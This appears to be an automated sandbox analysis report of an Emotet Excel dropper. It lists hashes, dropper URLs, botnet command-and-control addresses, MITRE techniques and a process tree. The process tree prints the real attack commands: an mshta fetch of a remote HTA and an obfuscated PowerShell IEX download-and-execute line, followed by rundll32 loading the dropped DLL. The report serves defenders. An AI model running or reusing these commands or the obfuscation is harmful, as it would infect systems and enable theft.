emotet | 3295d8adc01d82f9d75dc4e1e5f768183d7842dd901b5a4003555618bcdcb1e6

Analysis

max time kernel
128s
max time network
147s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 17:13

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General

Target
tmp6nkxlyr1.xls
Size 155KB
Sample220127-vrgqxagcej
SHA256 3295d8adc01d82f9d75dc4e1e5f768183d7842dd901b5a4003555618bcdcb1e6
MD5 a105bc53a0fdd2c7cac74a0c599710a3
SHA1 e6cd0388de9b15bcca28c33ff17bde404fa53e9d
SHA512 2a956f638761a1e4903a2c30ded602ee56746a353be21b776354a1fe5d8bbdcd7132945427751b8740825f7f152635cd42e73701b4f43b53f9874c429d4d6e18
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1396	2924	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
24	3640	mshta.exe
26	3216	powershell.exe
28	3216	powershell.exe
55	1096	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2232	rundll32.exe
1116	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Rxodhf\fwqddyftsuoyih.mcz	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3772	3640	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2924	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3216	powershell.exe
3216	powershell.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3772	WerFault.exe
3216	powershell.exe
1096	rundll32.exe
1096	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3216	powershell.exe
Token: SeDebugPrivilege	3772	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE
2924	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2924 wrote to memory of 1396	2924	EXCEL.EXE	72
PID 2924 wrote to memory of 1396	2924	EXCEL.EXE	72
PID 1396 wrote to memory of 3640	1396	cmd.exe	73
PID 1396 wrote to memory of 3640	1396	cmd.exe	73
PID 3640 wrote to memory of 3216	3640	mshta.exe	75
PID 3640 wrote to memory of 3216	3640	mshta.exe	75
PID 3216 wrote to memory of 440	3216	powershell.exe	78
PID 3216 wrote to memory of 440	3216	powershell.exe	78
PID 440 wrote to memory of 2232	440	cmd.exe	79
PID 440 wrote to memory of 2232	440	cmd.exe	79
PID 440 wrote to memory of 2232	440	cmd.exe	79
PID 2232 wrote to memory of 1116	2232	rundll32.exe	80
PID 2232 wrote to memory of 1116	2232	rundll32.exe	80
PID 2232 wrote to memory of 1116	2232	rundll32.exe	80
PID 1116 wrote to memory of 2596	1116	rundll32.exe	81
PID 1116 wrote to memory of 2596	1116	rundll32.exe	81
PID 1116 wrote to memory of 2596	1116	rundll32.exe	81
PID 2596 wrote to memory of 1096	2596	rundll32.exe	82
PID 2596 wrote to memory of 1096	2596	rundll32.exe	82
PID 2596 wrote to memory of 1096	2596	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp6nkxlyr1.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2924
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3216
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:440
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2232
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1116
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rxodhf\fwqddyftsuoyih.mcz",GDGwsrk
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2596
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Rxodhf\fwqddyftsuoyih.mcz",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1096
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3640 -s 1660
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1096-611-0x00000000046C0000-0x00000000046E5000-memory.dmp

Download

memory/1096-608-0x0000000000CC0000-0x0000000000CE5000-memory.dmp

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memory/1116-603-0x00000000051C0000-0x00000000051E5000-memory.dmp

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memory/1116-592-0x0000000004900000-0x0000000004925000-memory.dmp

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memory/1116-607-0x0000000005370000-0x0000000005395000-memory.dmp

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memory/1116-601-0x0000000005160000-0x0000000005185000-memory.dmp

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memory/1116-599-0x0000000005100000-0x0000000005125000-memory.dmp

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memory/1116-597-0x0000000005020000-0x0000000005045000-memory.dmp

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memory/1116-594-0x0000000004B30000-0x0000000004B55000-memory.dmp

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memory/2596-604-0x0000000004CA0000-0x0000000004CC5000-memory.dmp

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memory/2924-117-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

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memory/2924-129-0x00007FF906CA0000-0x00007FF906CB0000-memory.dmp

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memory/2924-118-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

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memory/2924-128-0x00007FF906CA0000-0x00007FF906CB0000-memory.dmp

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memory/2924-646-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

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memory/2924-119-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

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memory/2924-645-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

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memory/2924-644-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

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memory/2924-115-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

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memory/2924-643-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

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memory/2924-116-0x00007FF909EF0000-0x00007FF909F00000-memory.dmp

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memory/3216-334-0x000002CE9D990000-0x000002CE9DAB2000-memory.dmp

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memory/3216-275-0x000002CEB5D70000-0x000002CEB5D92000-memory.dmp

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memory/3216-298-0x000002CEB5EE0000-0x000002CEB5F1C000-memory.dmp

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memory/3216-333-0x000002CE9D990000-0x000002CE9DAB2000-memory.dmp

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memory/3216-332-0x000002CEB6580000-0x000002CEB65F6000-memory.dmp

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memory/3216-379-0x000002CE9D990000-0x000002CE9DAB2000-memory.dmp

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